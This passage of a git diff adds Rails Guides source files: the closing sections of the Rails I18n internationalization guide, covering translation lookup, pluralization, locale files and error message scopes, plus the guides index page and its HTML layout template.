+Obviously there are *two strings that are localized to English*. In order to internationalize this code, *replace these strings* with calls to Rails' +#t+ helper with a key that makes sense for the translation:
+
+<ruby>
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+ def index
+ flash[:notice] = t(:hello_flash)
+ end
+end
+
+# app/views/home/index.html.erb
+<h1><%=t :hello_world %></h1>
+<p><%= flash[:notice] %></p>
+</ruby>
+
+When you now render this view, it will show an error message which tells you that the translations for the keys +:hello_world+ and +:hello_flash+ are missing.
+
+!images/i18n/demo_translation_missing.png(rails i18n demo translation missing)!
+
+NOTE: Rails adds a +t+ (+translate+) helper method to your views so that you do not need to spell out +I18n.t+ all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a +&lt;span class="translation_missing"&gt;+.
+
+So let's add the missing translations into the dictionary files (i.e. do the "localization" part):
+
+<ruby>
+# config/locale/en.yml
+en:
+ hello_world: Hello World
+ hello_flash: Hello Flash
+
+# config/locale/pirate.yml
+pirate:
+ hello_world: Ahoy World
+ hello_flash: Ahoy Flash
+</ruby>
+
+There you go. Because you haven't changed the default_locale, I18n will use English. Your application now shows:
+
+!images/i18n/demo_translated_en.png(rails i18n demo translated to english)!
+
+And when you change the URL to pass the pirate locale (+http://localhost:3000?locale=pirate+), you'll get:
+
+!images/i18n/demo_translated_pirate.png(rails i18n demo translated to pirate)!
+
+NOTE: You need to restart the server when you add new locale files.
+
+You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the prefered option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.)
+
+h4. Adding Date/Time Formats
+
+OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used.
+
+<ruby>
+# app/views/home/index.html.erb
+<h1><%=t :hello_world %></h1>
+<p><%= flash[:notice] %></p
+<p><%= l Time.now, :format => :short %></p>
+</ruby>
+
+And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):
+
+<ruby>
+# config/locale/pirate.yml
+pirate:
+ time:
+ formats:
+ short: "arrrround %H'ish"
+</ruby>
+
+So that would give you:
+
+!images/i18n/demo_localized_pirate.png(rails i18n demo localized time to pirate)!
+
+TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by *translating Rails's defaults for your locale*. See the "rails-i18n repository at Github":http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for an archive of various locale files. When you put such file(s) in +config/locale/+ directory, they will automatically be ready for use.
+
+h4. Localized Views
+
+Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in +app/views/books/index.html.erb+ template. When you put a _localized variant_ of this template: *+index.es.html.erb+* in the same directory, Rails will render content in this template, when the locale is set to +:es+. When the locale is set to the default locale, the generic +index.html.erb+ view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in +public+, etc.)
+
+You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.
+
+h4. Organization of Locale Files
+
+When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you.
+
+For example, your +config/locale+ directory could look like this:
+
+<pre>
+|-defaults
+|---es.rb
+|---en.rb
+|-models
+|---book
+|-----es.rb
+|-----en.rb
+|-views
+|---defaults
+|-----es.rb
+|-----en.rb
+|---books
+|-----es.rb
+|-----en.rb
+|---users
+|-----es.rb
+|-----en.rb
+|---navigation
+|-----es.rb
+|-----en.rb
+</pre>
+
+This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation.
+
+NOTE: The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further:
+
+<ruby>
+ # config/environment.rb
+ config.i18n.load_path += Dir[File.join(RAILS_ROOT, 'config', 'locales', '**', '*.{rb,yml}')]
+</ruby>
+
+Do check the "Rails i18n Wiki":http://rails-i18n.org/wiki for list of tools available for managing translations.
+
+h3. Overview of the I18n API Features
+
+You should have good understanding of using the i18n library now, knowing all neccessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth.
+
+Covered are features like these:
+
+* looking up translations
+* interpolating data into translations
+* pluralizing translations
+* localizing dates, numbers, currency, etc.
+
+h4. Looking up Translations
+
+h5. Basic Lookup, Scopes and Nested Keys
+
+Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:
+
+<ruby>
+I18n.t :message
+I18n.t 'message'
+</ruby>
+
+The +translate+ method also takes a +:scope+ option which can contain one or more additional keys that will be used to specify a “namespace” or scope for a translation key:
+
+<ruby>
+I18n.t :invalid, :scope => [:activerecord, :errors, :messages]
+</ruby>
+
+This looks up the +:invalid+ message in the Active Record error messages.
+
+Additionally, both the key and scopes can be specified as dot-separated keys as in:
+
+<ruby>
+I18n.translate :"activerecord.errors.messages.invalid"
+</ruby>
+
+Thus the following calls are equivalent:
+
+<ruby>
+I18n.t 'activerecord.errors.messages.invalid'
+I18n.t 'errors.messages.invalid', :scope => :active_record
+I18n.t :invalid, :scope => 'activerecord.errors.messages'
+I18n.t :invalid, :scope => [:activerecord, :errors, :messages]
+</ruby>
+
+h5. Defaults
+
+When a +:default+ option is given, its value will be returned if the translation is missing:
+
+<ruby>
+I18n.t :missing, :default => 'Not here'
+# => 'Not here'
+</ruby>
+
+If the +:default+ value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.
+
+E.g., the following first tries to translate the key +:missing+ and then the key +:also_missing.+ As both do not yield a result, the string "Not here" will be returned:
+
+<ruby>
+I18n.t :missing, :default => [:also_missing, 'Not here']
+# => 'Not here'
+</ruby>
+
+h5. Bulk and Namespace Lookup
+
+To look up multiple translations at once, an array of keys can be passed:
+
+<ruby>
+I18n.t [:odd, :even], :scope => 'activerecord.errors.messages'
+# => ["must be odd", "must be even"]
+</ruby>
+
+Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive _all_ Active Record error messages as a Hash with:
+
+<ruby>
+I18n.t 'activerecord.errors.messages'
+# => { :inclusion => "is not included in the list", :exclusion => ... }
+</ruby>
+
+h5. "Lazy" Lookup
+
+Rails 2.3 implements a convenient way to look up the locale inside _views_. When you have the following dictionary:
+
+<yaml>
+es:
+ books:
+ index:
+ title: "Título"
+</yaml>
+
+you can look up the +books.index.title+ value *inside* +app/views/books/index.html.erb+ template like this (note the dot):
+
+<ruby>
+<%= t '.title' %>
+</ruby>
+
+h4. Interpolation
+
+In many cases you want to abstract your translations so that *variables can be interpolated into the translation*. For this reason the I18n API provides an interpolation feature.
+
+All options besides +:default+ and +:scope+ that are passed to +#translate+ will be interpolated to the translation:
+
+<ruby>
+I18n.backend.store_translations :en, :thanks => 'Thanks {{name}}!'
+I18n.translate :thanks, :name => 'Jeremy'
+# => 'Thanks Jeremy!'
+</ruby>
+
+If a translation uses +:default+ or +:scope+ as an interpolation variable, an I+18n::ReservedInterpolationKey+ exception is raised. If a translation expects an interpolation variable, but this has not been passed to +#translate+, an +I18n::MissingInterpolationArgument+ exception is raised.
+
+h4. Pluralization
+
+In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ("Arabic":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ar, "Japanese":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ja, "Russian":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ru and many more) have different grammars that have additional or fewer "plural forms":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html. Thus, the I18n API provides a flexible pluralization feature.
+
+The +:count+ interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:
+
+<ruby>
+I18n.backend.store_translations :en, :inbox => {
+ :one => '1 message',
+ :other => '{{count}} messages'
+}
+I18n.translate :inbox, :count => 2
+# => '2 messages'
+</ruby>
+
+The algorithm for pluralizations in +:en+ is as simple as:
+
+<ruby>
+entry[count == 1 ? 0 : 1]
+</ruby>
+
+I.e. the translation denoted as +:one+ is regarded as singular, the other is used as plural (including the count being zero).
+
+If the lookup for the key does not return a Hash suitable for pluralization, an +18n::InvalidPluralizationData+ exception is raised.
+
+h4. Setting and Passing a Locale
+
+The locale can be either set pseudo-globally to +I18n.locale+ (which uses +Thread.current+ like, e.g., +Time.zone+) or can be passed as an option to +#translate+ and +#localize+.
+
+If no locale is passed, +I18n.locale+ is used:
+
+<ruby>
+I18n.locale = :de
+I18n.t :foo
+I18n.l Time.now
+</ruby>
+
+Explicitely passing a locale:
+
+<ruby>
+I18n.t :foo, :locale => :de
+I18n.l Time.now, :locale => :de
+</ruby>
+
+The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The default locale can be set like this:
+
+<ruby>
+I18n.default_locale = :de
+</ruby>
+
+h3. How to Store your Custom Translations
+
+The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2]
+
+For example a Ruby Hash providing translations can look like this:
+
+<ruby>
+{
+ :pt => {
+ :foo => {
+ :bar => "baz"
+ }
+ }
+}
+</ruby>
+
+The equivalent YAML file would look like this:
+
+<ruby>
+pt:
+ foo:
+ bar: baz
+</ruby>
+
+As you see, in both cases the toplevel key is the locale. +:foo+ is a namespace key and +:bar+ is the key for the translation "baz".
+
+Here is a "real" example from the Active Support +en.yml+ translations YAML file:
+
+<ruby>
+en:
+ date:
+ formats:
+ default: "%Y-%m-%d"
+ short: "%b %d"
+ long: "%B %d, %Y"
+</ruby>
+
+So, all of the following equivalent lookups will return the +:short+ date format +"%B %d"+:
+
+<ruby>
+I18n.t 'date.formats.short'
+I18n.t 'formats.short', :scope => :date
+I18n.t :short, :scope => 'date.formats'
+I18n.t :short, :scope => [:date, :formats]
+</ruby>
+
+Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.
+
+h4. Translations for Active Record Models
+
+You can use the methods +Model.human_name+ and +Model.human_attribute_name(attribute)+ to transparently look up translations for your model and attribute names.
+
+For example when you add the following translations:
+
+<ruby>
+en:
+ activerecord:
+ models:
+ user: Dude
+ attributes:
+ user:
+ login: "Handle"
+ # will translate User attribute "login" as "Handle"
+</ruby>
+
+Then +User.human_name+ will return "Dude" and +User.human_attribute_name(:login)+ will return "Handle".
+
+h5. Error Message Scopes
+
+Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.
+
+This gives you quite powerful means to flexibly adjust your messages to your application's needs.
+
+Consider a User model with a +validates_presence_of+ validation for the name attribute like this:
+
+<ruby>
+class User < ActiveRecord::Base
+ validates_presence_of :name
+end
+</ruby>
+
+The key for the error message in this case is +:blank+. Active Record will look up this key in the namespaces:
+
+<ruby>
+activerecord.errors.models.[model_name].attributes.[attribute_name]
+activerecord.errors.models.[model_name]
+activerecord.errors.messages
+</ruby>
+
+Thus, in our example it will try the following keys in this order and return the first result:
+
+<ruby>
+activerecord.errors.models.user.attributes.name.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+</ruby>
+
+When your models are additionally using inheritance then the messages are looked up in the inheritance chain.
+
+For example, you might have an Admin model inheriting from User:
+
+<ruby>
+class Admin < User
+ validates_presence_of :name
+end
+</ruby>
+
+Then Active Record will look for messages in this order:
+
+<ruby>
+activerecord.errors.models.admin.attributes.title.blank
+activerecord.errors.models.admin.blank
+activerecord.errors.models.user.attributes.title.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+</ruby>
+
+This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes.
+
+h5. Error Message Interpolation
+
+The translated model name, translated attribute name, and value are always available for interpolation.
+
+So, for example, instead of the default error message +"can not be blank"+ you could use the attribute name like this : +"Please fill in your {{attribute}}"+.
+
+* +count+, where available, can be used for pluralization if present:
+
+|_. validation |_.with option |_.message |_.interpolation|
+| validates_confirmation_of | - | :confirmation | -|
+| validates_acceptance_of | - | :accepted | -|
+| validates_presence_of | - | :blank | -|
+| validates_length_of | :within, :in | :too_short | count|
+| validates_length_of | :within, :in | :too_long | count|
+| validates_length_of | :is | :wrong_length | count|
+| validates_length_of | :minimum | :too_short | count|
+| validates_length_of | :maximum | :too_long | count|
+| validates_uniqueness_of | - | :taken | -|
+| validates_format_of | - | :invalid | -|
+| validates_inclusion_of | - | :inclusion | -|
+| validates_exclusion_of | - | :exclusion | -|
+| validates_associated | - | :invalid | -|
+| validates_numericality_of | - | :not_a_number | -|
+| validates_numericality_of | :greater_than | :greater_than | count|
+| validates_numericality_of | :greater_than_or_equal_to | :greater_than_or_equal_to | count|
+| validates_numericality_of | :equal_to | :equal_to | count|
+| validates_numericality_of | :less_than | :less_than | count|
+| validates_numericality_of | :less_than_or_equal_to | :less_than_or_equal_to | count|
+| validates_numericality_of | :odd | :odd | -|
+| validates_numericality_of | :even | :even | -|
+
+h5. Translations for the Active Record +error_messages_for+ Helper
+
+If you are using the Active Record +error_messages_for+ helper, you will want to add translations for it.
+
+Rails ships with the following translations:
+
+<yaml>
+en:
+ activerecord:
+ errors:
+ template:
+ header:
+ one: "1 error prohibited this {{model}} from being saved"
+ other: "{{count}} errors prohibited this {{model}} from being saved"
+ body: "There were problems with the following fields:"
+</yaml>
+
+h4. Overview of Other Built-In Methods that Provide I18n Support
+
+Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview.
+
+h5. Action View Helper Methods
+
+* +distance_of_time_in_words+ translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See "datetime.distance_in_words":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51 translations.
+
+* +datetime_select+ and +select_month+ use translated month names for populating the resulting select tag. See "date.month_names":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15 for translations. +datetime_select+ also looks up the order option from "date.order":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18 (unless you pass the option explicitely). All date selection helpers translate the prompt using the translations in the "datetime.prompts":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83 scope if applicable.
+
+* The +number_to_currency+, +number_with_precision+, +number_to_percentage+, +number_with_delimiter+, and +number_to_human_size+ helpers use the number format settings located in the "number":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2 scope.
+
+h5. Active Record Methods
+
+* +human_name+ and +human_attribute_name+ use translations for model names and attribute names if available in the "activerecord.models":http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L43 scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
+
+* +ActiveRecord::Errors#generate_message+ (which is used by Active Record validations but may also be used manually) uses +human_name+ and +human_attribute_name+ (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".
+
+*+ ActiveRecord::Errors#full_messages+ prepends the attribute name to the error message using a separator that will be looked up from "activerecord.errors.format.separator":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L91 (and which defaults to +'&nbsp;'+).
+
+h5. Active Support Methods
+
+* +Array#to_sentence+ uses format settings as given in the "support.array":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30 scope.
+
+
+h3. Customize your I18n Setup
+
+h4. Using Different Backends
+
+For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_ [3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.
+
+That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
+
+<ruby>
+I18n.backend = Globalize::Backend::Static.new
+</ruby>
+
+h4. Using Different Exception Handlers
+
+The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:
+
+<ruby>
+MissingTranslationData # no translation was found for the requested key
+InvalidLocale # the locale set to I18n.locale is invalid (e.g. nil)
+InvalidPluralizationData # a count option was passed but the translation data is not suitable for pluralization
+MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
+ReservedInterpolationKey # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
+UnknownFileType # the backend does not know how to handle a file type that was added to I18n.load_path
+</ruby>
+
+The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for +MissingTranslationData+ exceptions. When a +MissingTranslationData+ exception has been caught, it will return the exception’s error message string containing the missing key/scope.
+
+The reason for this is that during development you'd usually want your views to still render even though a translation is missing.
+
+In other contexts you might want to change this behaviour, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module:
+
+<ruby>
+module I18n
+ def just_raise_that_exception(*args)
+ raise args.first
+ end
+end
+
+I18n.exception_handler = :just_raise_that_exception
+</ruby>
+
+This would re-raise all caught exceptions including +MissingTranslationData+.
+
+Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method +#t+ (as well as +#translate+). When a +MissingTranslationData+ exception occurs in this context, the helper wraps the message into a span with the CSS class +translation_missing+.
+
+To do so, the helper forces +I18n#translate+ to raise exceptions no matter what exception handler is defined by setting the +:raise+ option:
+
+<ruby>
+I18n.t :foo, :raise => true # always re-raises exceptions from the backend
+</ruby>
+
+h3. Conclusion
+
+At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.
+
+If you find anything missing or wrong in this guide please file a ticket on "our issue tracker":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview. If you want to discuss certain portions or have questions please sign up to our "mailinglist":http://groups.google.com/group/rails-i18n.
+
+
+h3. Contributing to Rails I18n
+
+I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-bread of most widely useful features for inclusion in the core.
+
+Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our "mailing list":http://groups.google.com/group/rails-i18n!)
+
+If you find your own locale (language) missing from our "example translations data":http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale repository for Ruby on Rails, please "_fork_":http://github.com/guides/fork-a-project-and-submit-your-modifications the repository, add your data and send a "pull request":http://github.com/guides/pull-requests.
+
+
+h3. Resources
+
+* "rails-i18n.org":http://rails-i18n.org - Homepage of the rails-i18n project. You can find lots of useful resources on the "wiki":http://rails-i18n.org/wiki.
+* "rails-i18n Google group":http://groups.google.com/group/rails-i18n - The project's mailing list.
+* "Github: rails-i18n":http://github.com/svenfuchs/rails-i18n/tree/master - Code repository for the rails-i18n project. Most importantly you can find lots of "example translations":http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for Rails that should work for your application in most cases.
+* "Lighthouse: rails-i18n":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview - Issue tracker for the rails-i18n project.
+* "Github: i18n":http://github.com/svenfuchs/i18n/tree/master - Code repository for the i18n gem.
+* "Lighthouse: i18n":http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview - Issue tracker for the i18n gem.
+
+
+h3. Authors
+
+* "Sven Fuchs":http://www.workingwithrails.com/person/9963-sven-fuchs (initial author)
+* "Karel Minařík":http://www.workingwithrails.com/person/7476-karel-mina-k
+
+If you found this guide useful please consider recommending its authors on "workingwithrails":http://www.workingwithrails.com.
+
+
+h3. Footnotes
+
+fn1. Or, to quote "Wikipedia":http://en.wikipedia.org/wiki/Internationalization_and_localization: _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
+
+fn2. Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
+
+fn3. One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.
+
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/23
diff --git a/railties/guides/source/index.erb.textile b/railties/guides/source/index.erb.textile
new file mode 100644
index 0000000000..4c8dd65a04
--- /dev/null
+++ b/railties/guides/source/index.erb.textile
@@ -0,0 +1,124 @@
+<% content_for :header_section do %>
+h2. Ruby on Rails guides
+
+These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together. There are two different versions of the Guides site, and you should be sure to use the one that applies to your situation:
+
+* "Current Release version":http://guides.rubyonrails.org - based on Rails 2.3
+* "Edge version":http://guides.rails.info - based on the current Rails "master branch":http://github.com/rails/rails/tree/master
+
+<% end %>
+
+<% content_for :index_section do %>
+<div id="subCol">
+ <dl>
+ <dd class="warning">Rails Guides are a result of the ongoing "Guides hackfest":http://hackfest.rubyonrails.org and a work in progress.</dd>
+ <dd class="ticket">Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections at the respective Lighthouse ticket.</dd>
+ </dl>
+</div>
+<% end %>
+
+h3. Start Here
+
+<dl>
+<% guide('Getting Started with Rails', 'getting_started.html') do %>
+ Everything you need to know to install Rails and create your first application.
+<% end %>
+</dl>
+
+h3. Models
+
+<dl>
+<% guide("Rails Database Migrations", 'migrations.html') do %>
+ This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.
+<% end %>
+
+<% guide("Active Record Validations and Callbacks", 'activerecord_validations_callbacks.html') do %>
+ This guide covers how you can use Active Record validations and callbacks.
+<% end %>
+
+<% guide("Active Record Associations", 'association_basics.html') do %>
+ This guide covers all the associations provided by Active Record.
+<% end %>
+
+<% guide("Active Record Query Interface", 'active_record_querying.html') do %>
+ This guide covers the database query interface provided by Active Record.
+<% end %>
+</dl>
+
+h3. Views
+
+<dl>
+<% guide("Layouts and Rendering in Rails", 'layouts_and_rendering.html') do %>
+ This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials.
+<% end %>
+
+<% guide("Action View Form Helpers", 'form_helpers.html', :ticket => 1) do %>
+ Guide to using built in Form helpers.
+<% end %>
+</dl>
+
+h3. Controllers
+
+<dl>
+<% guide("Action Controller Overview", 'action_controller_overview.html') do %>
+ This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.
+<% end %>
+
+<% guide("Rails Routing from the Outside In", 'routing.html') do %>
+ This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here.
+<% end %>
+</dl>
+
+h3. Digging Deeper
+
+<dl>
+
+<% guide("Rails on Rack", 'rails_on_rack.html') do %>
+ This guide covers Rails integration with Rack and interfacing with other Rack components.
+<% end %>
+
+<% guide("Rails Internationalization API", 'i18n.html') do %>
+ This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country and so on.
+<% end %>
+
+<% guide("Action Mailer Basics", 'action_mailer_basics.html', :ticket => 25) do %>
+ This guide describes how to use Action Mailer to send and receive emails.
+<% end %>
+
+<% guide("Testing Rails Applications", 'testing.html', :ticket => 8) do %>
+ This is a rather comprehensive guide to doing both unit and functional tests in Rails. It covers everything from “What is a test?” to the testing APIs. Enjoy.
+<% end %>
+
+<% guide("Securing Rails Applications", 'security.html') do %>
+ This guide describes common security problems in web applications and how to avoid them with Rails.
+<% end %>
+
+<% guide("Debugging Rails Applications", 'debugging_rails_applications.html') do %>
+ This guide describes how to debug Rails applications. It covers the different ways of achieving this and how to understand what is happening "behind the scenes" of your code.
+<% end %>
+
+<% guide("Performance Testing Rails Applications", 'performance_testing.html') do %>
+ This guide covers the various ways of performance testing a Ruby on Rails application.
+<% end %>
+
+<% guide("The Basics of Creating Rails Plugins", 'plugins.html', :ticket => 32) do %>
+ This guide covers how to build a plugin to extend the functionality of Rails.
+<% end %>
+
+<% guide("Configuring Rails Applications", 'configuring.html') do %>
+ This guide covers the basic configuration settings for a Rails application.
+<% end %>
+
+<% guide("Rails Command Line Tools and Rake tasks", 'command_line.html', :ticket => 29) do %>
+ This guide covers the command line tools and rake tasks provided by Rails.
+<% end %>
+
+<% guide("Caching with Rails", 'caching_with_rails.html', :ticket => 10) do %>
+ Various caching techniques provided by Rails.
+<% end %>
+
+<% guide("Contributing to Rails", 'contributing_to_rails.html') do %>
+ Rails is not "somebody else's framework." This guide covers a variety of ways that you can get involved in the ongoing development of Rails.
+<% end %>
+
+</dl>
diff --git a/railties/guides/source/layout.html.erb b/railties/guides/source/layout.html.erb
new file mode 100644
index 0000000000..eb66366d07
--- /dev/null
+++ b/railties/guides/source/layout.html.erb
@@ -0,0 +1,103 @@
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title><%= yield(:page_title) || 'Ruby on Rails guides' %></title>
+
+<link rel="stylesheet" type="text/css" href="files/stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="files/stylesheets/syntax.css" />
+<link rel="stylesheet" type="text/css" href="files/stylesheets/print.css" media="print" />
+
+<script type="text/javascript" src="files/javascripts/guides.js"></script>
+<script type="text/javascript" src="files/javascripts/code_highlighter.js"></script>
+<script type="text/javascript" src="files/javascripts/highlighters.js"></script>
+
+</head>
+<body class="guide">
+ <div id="topNav">
+ <div class="wrapper">
+ <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+ <a href="http://rubyonrails.org/">Overview</a> |
+ <a href="http://rubyonrails.org/download">Download</a> |
+ <a href="http://rubyonrails.org/deploy">Deploy</a> |
+ <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+ <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+ <a href="http://rubyonrails.org/documentation">Documentation</a> |
+ <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+ <a href="http://rubyonrails.org/community">Community</a> |
+ <a href="http://weblog.rubyonrails.org/">Blog</a>
+ </div>
+ </div>
+ <div id="header">
+ <div class="wrapper clearfix">
+ <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+ <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+ <ul class="nav">
+ <li><a href="index.html">Home</a></li>
+ <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+ <div id="guides" class="clearfix" style="display: none;">
+ <hr />
+ <dl class="L">
+ <dt>Start Here</dt>
+ <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+ <dt>Models</dt>
+ <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+ <dd><a href="activerecord_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+ <dd><a href="association_basics.html">Active Record Associations</a></dd>
+ <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+ <dt>Views</dt>
+ <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+ <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+ <dt>Controllers</dt>
+ <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+ <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+ </dl>
+ <dl class="R">
+ <dt>Digging Deeper</dt>
+ <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+ <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+ <dd><a href="testing.html">Testing Rails Applications</a></dd>
+ <dd><a href="security.html">Securing Rails Applications</a></dd>
+ <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+ <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+ <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+ <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+ <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+ <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+ <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+ <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+ </dl>
+ </div>
+ </li>
+ <li><a href="contribute.html">Contribute</a></li>
+ <li><a href="credits.html">Credits</a></li>
+ </ul>
+ </div>
+ </div>
+ <hr class="hide" />
+
+ <div id="feature">
+ <div class="wrapper">
+ <%= yield :header_section %>
+
+ <%= yield :index_section %>
+ </div>
+ </div>
+
+ <div id="container">
+ <div class="wrapper">
+ <div id="mainCol">
+ <%= yield %>
+ </div>
+ </div>
+ </div>
+
+ <hr class="hide" />
+ <div id="footer">
+ <div class="wrapper">
+ <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</a></p>
+ <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+ </div>
+ </div>
+</body>
+</html>
